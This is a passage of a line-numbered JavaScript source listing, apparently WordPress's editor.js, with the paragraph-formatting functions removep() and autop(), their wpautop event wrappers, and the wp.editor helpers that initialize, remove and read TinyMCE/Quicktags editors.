819 function selectTextInTextArea( editor, selection ) {
820 // Only valid in the text area mode and if we have selection.
821 if ( ! selection ) {
822 return;
823 }
824
825 var textArea = editor.getElement(),
826 start = selection.start,
827 end = selection.end || selection.start;
828
829 if ( textArea.focus ) {
830 // Wait for the Visual editor to be hidden, then focus and scroll to the position.
831 setTimeout( function() {
832 textArea.setSelectionRange( start, end );
833 if ( textArea.blur ) {
834 // Defocus before focusing.
835 textArea.blur();
836 }
837 textArea.focus();
838 }, 100 );
839 }
840 }
841
842 // Restore the selection when the editor is initialized. Needed when the Code editor is the default.
843 $( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) {
844 if ( editor.$( '.mce_SELRES_start' ).length ) {
845 focusHTMLBookmarkInVisualEditor( editor );
846 }
847 } );
848
849 /**
850 * Replaces <p> tags with two line breaks. "Opposite" of wpautop().
851 *
852 * Replaces <p> tags with two line breaks except where the <p> has attributes.
853 * Unifies whitespace.
854 * Indents <li>, <dt> and <dd> for better readability.
855 *
856 * @since 2.5.0
857 *
858 * @memberof switchEditors
859 *
860 * @param {string} html The content from the editor.
861 * @return {string} The content with stripped paragraph tags.
862 */
863 function removep( html ) {
864 var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure',
865 blocklist1 = blocklist + '|div|p',
866 blocklist2 = blocklist + '|pre',
867 preserve_linebreaks = false,
868 preserve_br = false,
869 preserve = [];
870
871 if ( ! html ) {
872 return '';
873 }
874
875 // Protect script and style tags.
876 if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) {
877 html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) {
878 preserve.push( match );
879 return '<wp-preserve>';
880 } );
881 }
882
883 // Protect pre tags.
884 if ( html.indexOf( '<pre' ) !== -1 ) {
885 preserve_linebreaks = true;
886 html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) {
887 a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' );
888 a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' );
889 return a.replace( /\r?\n/g, '<wp-line-break>' );
890 });
891 }
892
893 // Remove line breaks but keep <br> tags inside image captions.
894 if ( html.indexOf( '[caption' ) !== -1 ) {
895 preserve_br = true;
896 html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
897 return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' );
898 });
899 }
900
901 // Normalize white space characters before and after block tags.
902 html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' );
903 html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' );
904
905 // Mark </p> if it has any attributes.
906 html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' );
907
908 // Preserve the first <p> inside a <div>.
909 html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' );
910
911 // Remove paragraph tags.
912 html = html.replace( /\s*<p>/gi, '' );
913 html = html.replace( /\s*<\/p>\s*/gi, '\n\n' );
914
915 // Normalize white space chars and remove multiple line breaks.
916 html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' );
917
918 // Replace <br> tags with line breaks.
919 html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) {
920 if ( space && space.indexOf( '\n' ) !== -1 ) {
921 return '\n\n';
922 }
923
924 return '\n';
925 });
926
927 // Fix line breaks around <div>.
928 html = html.replace( /\s*<div/g, '\n<div' );
929 html = html.replace( /<\/div>\s*/g, '</div>\n' );
930
931 // Fix line breaks around caption shortcodes.
932 html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' );
933 html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' );
934
935 // Pad block elements tags with a line break.
936 html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' );
937 html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' );
938
939 // Indent <li>, <dt> and <dd> tags.
940 html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' );
941
942 // Fix line breaks around <select> and <option>.
943 if ( html.indexOf( '<option' ) !== -1 ) {
944 html = html.replace( /\s*<option/g, '\n<option' );
945 html = html.replace( /\s*<\/select>/g, '\n</select>' );
946 }
947
948 // Pad <hr> with two line breaks.
949 if ( html.indexOf( '<hr' ) !== -1 ) {
950 html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' );
951 }
952
953 // Remove line breaks in <object> tags.
954 if ( html.indexOf( '<object' ) !== -1 ) {
955 html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
956 return a.replace( /[\r\n]+/g, '' );
957 });
958 }
959
960 // Unmark special paragraph closing tags.
961 html = html.replace( /<\/p#>/g, '</p>\n' );
962
963 // Pad remaining <p> tags whit a line break.
964 html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' );
965
966 // Trim.
967 html = html.replace( /^\s+/, '' );
968 html = html.replace( /[\s\u00a0]+$/, '' );
969
970 if ( preserve_linebreaks ) {
971 html = html.replace( /<wp-line-break>/g, '\n' );
972 }
973
974 if ( preserve_br ) {
975 html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
976 }
977
978 // Restore preserved tags.
979 if ( preserve.length ) {
980 html = html.replace( /<wp-preserve>/g, function() {
981 return preserve.shift();
982 } );
983 }
984
985 return html;
986 }
987
988 /**
989 * Replaces two line breaks with a paragraph tag and one line break with a <br>.
990 *
991 * Similar to `wpautop()` in formatting.php.
992 *
993 * @since 2.5.0
994 *
995 * @memberof switchEditors
996 *
997 * @param {string} text The text input.
998 * @return {string} The formatted text.
999 */
1000 function autop( text ) {
1001 var preserve_linebreaks = false,
1002 preserve_br = false,
1003 blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
1004 '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
1005 '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary';
1006
1007 // Normalize line breaks.
1008 text = text.replace( /\r\n|\r/g, '\n' );
1009
1010 // Remove line breaks from <object>.
1011 if ( text.indexOf( '<object' ) !== -1 ) {
1012 text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
1013 return a.replace( /\n+/g, '' );
1014 });
1015 }
1016
1017 // Remove line breaks from tags.
1018 text = text.replace( /<[^<>]+>/g, function( a ) {
1019 return a.replace( /[\n\t ]+/g, ' ' );
1020 });
1021
1022 // Preserve line breaks in <pre> and <script> tags.
1023 if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) {
1024 preserve_linebreaks = true;
1025 text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) {
1026 return a.replace( /\n/g, '<wp-line-break>' );
1027 });
1028 }
1029
1030 if ( text.indexOf( '<figcaption' ) !== -1 ) {
1031 text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' );
1032 text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' );
1033 }
1034
1035 // Keep <br> tags inside captions.
1036 if ( text.indexOf( '[caption' ) !== -1 ) {
1037 preserve_br = true;
1038
1039 text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
1040 a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' );
1041
1042 a = a.replace( /<[^<>]+>/g, function( b ) {
1043 return b.replace( /[\n\t ]+/, ' ' );
1044 });
1045
1046 return a.replace( /\s*\n\s*/g, '<wp-temp-br />' );
1047 });
1048 }
1049
1050 text = text + '\n\n';
1051 text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' );
1052
1053 // Pad block tags with two line breaks.
1054 text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' );
1055 text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' );
1056 text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' );
1057
1058 // Remove white space chars around <option>.
1059 text = text.replace( /\s*<option/gi, '<option' );
1060 text = text.replace( /<\/option>\s*/gi, '</option>' );
1061
1062 // Normalize multiple line breaks and white space chars.
1063 text = text.replace( /\n\s*\n+/g, '\n\n' );
1064
1065 // Convert two line breaks to a paragraph.
1066 text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' );
1067
1068 // Remove empty paragraphs.
1069 text = text.replace( /<p>\s*?<\/p>/gi, '');
1070
1071 // Remove <p> tags that are around block tags.
1072 text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
1073 text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1');
1074
1075 // Fix <p> in blockquotes.
1076 text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>');
1077 text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>');
1078
1079 // Remove <p> tags that are wrapped around block tags.
1080 text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' );
1081 text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
1082
1083 text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' );
1084
1085 // Add <br> tags.
1086 text = text.replace( /\s*\n/g, '<br />\n');
1087
1088 // Remove <br> tags that are around block tags.
1089 text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' );
1090 text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' );
1091
1092 // Remove <p> and <br> around captions.
1093 text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' );
1094
1095 // Make sure there is <p> when there is </p> inside block tags that can contain other blocks.
1096 text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) {
1097 if ( c.match( /<p( [^>]*)?>/ ) ) {
1098 return a;
1099 }
1100
1101 return b + '<p>' + c + '</p>';
1102 });
1103
1104 // Restore the line breaks in <pre> and <script> tags.
1105 if ( preserve_linebreaks ) {
1106 text = text.replace( /<wp-line-break>/g, '\n' );
1107 }
1108
1109 // Restore the <br> tags in captions.
1110 if ( preserve_br ) {
1111 text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
1112 }
1113
1114 return text;
1115 }
1116
1117 /**
1118 * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available.
1119 *
1120 * @since 2.9.0
1121 *
1122 * @memberof switchEditors
1123 *
1124 * @param {string} html The content from the visual editor.
1125 * @return {string} the filtered content.
1126 */
1127 function pre_wpautop( html ) {
1128 var obj = { o: exports, data: html, unfiltered: html };
1129
1130 if ( $ ) {
1131 $( 'body' ).trigger( 'beforePreWpautop', [ obj ] );
1132 }
1133
1134 obj.data = removep( obj.data );
1135
1136 if ( $ ) {
1137 $( 'body' ).trigger( 'afterPreWpautop', [ obj ] );
1138 }
1139
1140 return obj.data;
1141 }
1142
1143 /**
1144 * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available.
1145 *
1146 * @since 2.9.0
1147 *
1148 * @memberof switchEditors
1149 *
1150 * @param {string} text The content from the text editor.
1151 * @return {string} filtered content.
1152 */
1153 function wpautop( text ) {
1154 var obj = { o: exports, data: text, unfiltered: text };
1155
1156 if ( $ ) {
1157 $( 'body' ).trigger( 'beforeWpautop', [ obj ] );
1158 }
1159
1160 obj.data = autop( obj.data );
1161
1162 if ( $ ) {
1163 $( 'body' ).trigger( 'afterWpautop', [ obj ] );
1164 }
1165
1166 return obj.data;
1167 }
1168
1169 if ( $ ) {
1170 $( init );
1171 } else if ( document.addEventListener ) {
1172 document.addEventListener( 'DOMContentLoaded', init, false );
1173 window.addEventListener( 'load', init, false );
1174 } else if ( window.attachEvent ) {
1175 window.attachEvent( 'onload', init );
1176 document.attachEvent( 'onreadystatechange', function() {
1177 if ( 'complete' === document.readyState ) {
1178 init();
1179 }
1180 } );
1181 }
1182
1183 wp.editor.autop = wpautop;
1184 wp.editor.removep = pre_wpautop;
1185
1186 exports = {
1187 go: switchEditor,
1188 wpautop: wpautop,
1189 pre_wpautop: pre_wpautop,
1190 _wp_Autop: autop,
1191 _wp_Nop: removep
1192 };
1193
1194 return exports;
1195 }
1196
1197 /**
1198 * Expose the switch editors to be used globally.
1199 *
1200 * @namespace switchEditors
1201 */
1202 window.switchEditors = new SwitchEditors();
1203
1204 /**
1205 * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP).
1206 *
1207 * Intended for use with an existing textarea that will become the Code editor tab.
1208 * The editor width will be the width of the textarea container, height will be adjustable.
1209 *
1210 * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered"
1211 * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init.
1212 *
1213 * @since 4.8.0
1214 *
1215 * @param {string} id The HTML id of the textarea that is used for the editor.
1216 * Has to be jQuery compliant. No brackets, special chars, etc.
1217 * @param {Object} settings Example:
1218 * settings = {
1219 * // See https://www.tinymce.com/docs/configure/integration-and-setup/.
1220 * // Alternatively set to `true` to use the defaults.
1221 * tinymce: {
1222 * setup: function( editor ) {
1223 * console.log( 'Editor initialized', editor );
1224 * }
1225 * }
1226 *
1227 * // Alternatively set to `true` to use the defaults.
1228 * quicktags: {
1229 * buttons: 'strong,em,link'
1230 * }
1231 * }
1232 */
1233 wp.editor.initialize = function( id, settings ) {
1234 var init;
1235 var defaults;
1236
1237 if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) {
1238 return;
1239 }
1240
1241 defaults = wp.editor.getDefaultSettings();
1242
1243 // Initialize TinyMCE by default.
1244 if ( ! settings ) {
1245 settings = {
1246 tinymce: true
1247 };
1248 }
1249
1250 // Add wrap and the Visual|Code tabs.
1251 if ( settings.tinymce && settings.quicktags ) {
1252 var $textarea = $( '#' + id );
1253
1254 var $wrap = $( '<div>' ).attr( {
1255 'class': 'wp-core-ui wp-editor-wrap tmce-active',
1256 id: 'wp-' + id + '-wrap'
1257 } );
1258
1259 var $editorContainer = $( '<div class="wp-editor-container">' );
1260
1261 var $button = $( '<button>' ).attr( {
1262 type: 'button',
1263 'data-wp-editor-id': id
1264 } );
1265
1266 var $editorTools = $( '<div class="wp-editor-tools">' );
1267
1268 if ( settings.mediaButtons ) {
1269 var buttonText = 'Add Media';
1270
1271 if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) {
1272 buttonText = window._wpMediaViewsL10n.addMedia;
1273 }
1274
1275 var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' );
1276
1277 $addMediaButton.append( '<span class="wp-media-buttons-icon" aria-hidden="true"></span>' );
1278 $addMediaButton.append( document.createTextNode( ' ' + buttonText ) );
1279 $addMediaButton.data( 'editor', id );
1280
1281 $editorTools.append(
1282 $( '<div class="wp-media-buttons">' )
1283 .append( $addMediaButton )
1284 );
1285 }
1286
1287 $wrap.append(
1288 $editorTools
1289 .append( $( '<div class="wp-editor-tabs">' )
1290 .append( $button.clone().attr({
1291 id: id + '-tmce',
1292 'class': 'wp-switch-editor switch-tmce'
1293 }).text( window.tinymce.translate( 'Visual' ) ) )
1294 .append( $button.attr({
1295 id: id + '-html',
1296 'class': 'wp-switch-editor switch-html'
1297 }).text( window.tinymce.translate( 'Code|tab' ) ) )
1298 ).append( $editorContainer )
1299 );
1300
1301 $textarea.after( $wrap );
1302 $editorContainer.append( $textarea );
1303 }
1304
1305 if ( window.tinymce && settings.tinymce ) {
1306 if ( typeof settings.tinymce !== 'object' ) {
1307 settings.tinymce = {};
1308 }
1309
1310 init = $.extend( {}, defaults.tinymce, settings.tinymce );
1311 init.selector = '#' + id;
1312
1313 $( document ).trigger( 'wp-before-tinymce-init', init );
1314 window.tinymce.init( init );
1315
1316 if ( ! window.wpActiveEditor ) {
1317 window.wpActiveEditor = id;
1318 }
1319 }
1320
1321 if ( window.quicktags && settings.quicktags ) {
1322 if ( typeof settings.quicktags !== 'object' ) {
1323 settings.quicktags = {};
1324 }
1325
1326 init = $.extend( {}, defaults.quicktags, settings.quicktags );
1327 init.id = id;
1328
1329 $( document ).trigger( 'wp-before-quicktags-init', init );
1330 window.quicktags( init );
1331
1332 if ( ! window.wpActiveEditor ) {
1333 window.wpActiveEditor = init.id;
1334 }
1335 }
1336 };
1337
1338 /**
1339 * Remove one editor instance.
1340 *
1341 * Intended for use with editors that were initialized with wp.editor.initialize().
1342 *
1343 * @since 4.8.0
1344 *
1345 * @param {string} id The HTML id of the editor textarea.
1346 */
1347 wp.editor.remove = function( id ) {
1348 var mceInstance, qtInstance,
1349 $wrap = $( '#wp-' + id + '-wrap' );
1350
1351 if ( window.tinymce ) {
1352 mceInstance = window.tinymce.get( id );
1353
1354 if ( mceInstance ) {
1355 if ( ! mceInstance.isHidden() ) {
1356 mceInstance.save();
1357 }
1358
1359 mceInstance.remove();
1360 }
1361 }
1362
1363 if ( window.quicktags ) {
1364 qtInstance = window.QTags.getInstance( id );
1365
1366 if ( qtInstance ) {
1367 qtInstance.remove();
1368 }
1369 }
1370
1371 if ( $wrap.length ) {
1372 $wrap.after( $( '#' + id ) );
1373 $wrap.remove();
1374 }
1375 };
1376
1377 /**
1378 * Get the editor content.
1379 *
1380 * Intended for use with editors that were initialized with wp.editor.initialize().
1381 *
1382 * @since 4.8.0
1383 *
1384 * @param {string} id The HTML id of the editor textarea.
1385 * @return The editor content.
1386 */
1387 wp.editor.getContent = function( id ) {
1388 var editor;
1389
1390 if ( ! $ || ! id ) {
1391 return;
1392 }
1393
1394 if ( window.tinymce ) {
1395 editor = window.tinymce.get( id );
1396
1397 if ( editor && ! editor.isHidden() ) {
1398 editor.save();
1399 }
1400 }
1401
1402 return $( '#' + id ).val();
1403 };
1404
1405}( window.jQuery, window.wp ));
1406